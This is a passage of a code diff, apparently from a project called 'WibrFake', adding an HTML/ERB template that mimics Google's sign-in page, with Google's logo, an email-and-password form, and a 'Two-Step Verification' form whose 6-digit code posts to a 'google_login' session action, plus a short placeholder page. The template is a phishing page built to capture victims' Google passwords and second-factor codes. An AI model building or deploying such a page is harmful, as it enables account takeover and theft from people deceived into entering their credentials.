+ name="username"
26
+ placeholder="Email or phone"
27
+ required>
28
+
29
+ <input type="password"
30
+ id="password"
31
+ name="password"
32
+ placeholder="Enter your password"
33
+ required>
34
+
35
+ <div class="button-container">
36
+ <button type="button" class="back-button" id="createAccountBtn">Create account</button>
37
+ <button type="submit" class="next-button">Next</button>
38
+ </div>
39
+ </form>
40
+
41
+ <!-- Form 2: 2FA -->
42
+ <form id="twoFaForm" class="login-form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
43
+ <%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
44
+
45
+ <h1>Two-Step Verification</h1>
46
+ <p class="subtitle" id="verificationMethod"></p>
47
+
48
+ <input type="number"
49
+ id="2faCode"
50
+ name="dfa"
51
+ placeholder="6-digit code"
52
+ required>
53
+
54
+ <div class="button-container">
55
+ <button type="button" class="back-button" id="backBtn">Back</button>
56
+ <button type="submit" class="next-button">Verify</button>
57
+ </div>
58
+ </form>
59
+
60
+ <div class="footer">
61
+ <select>
62
+ <option>English (United States)</option>
63
+ </select>
64
+ <div>
65
+ <span>Help</span>
66
+ <span>Privacy</span>
67
+ <span>Terms</span>
68
+ </div>
69
+ </div>
70
+ </div>
71
+ </body>
72
+ </html>
@@ -0,0 +1,11 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>WibrFake</title>
7
+ </head>
8
+ <body>
9
+ <h1>Hello World</h1>
10
+ </body>
11
+ </html>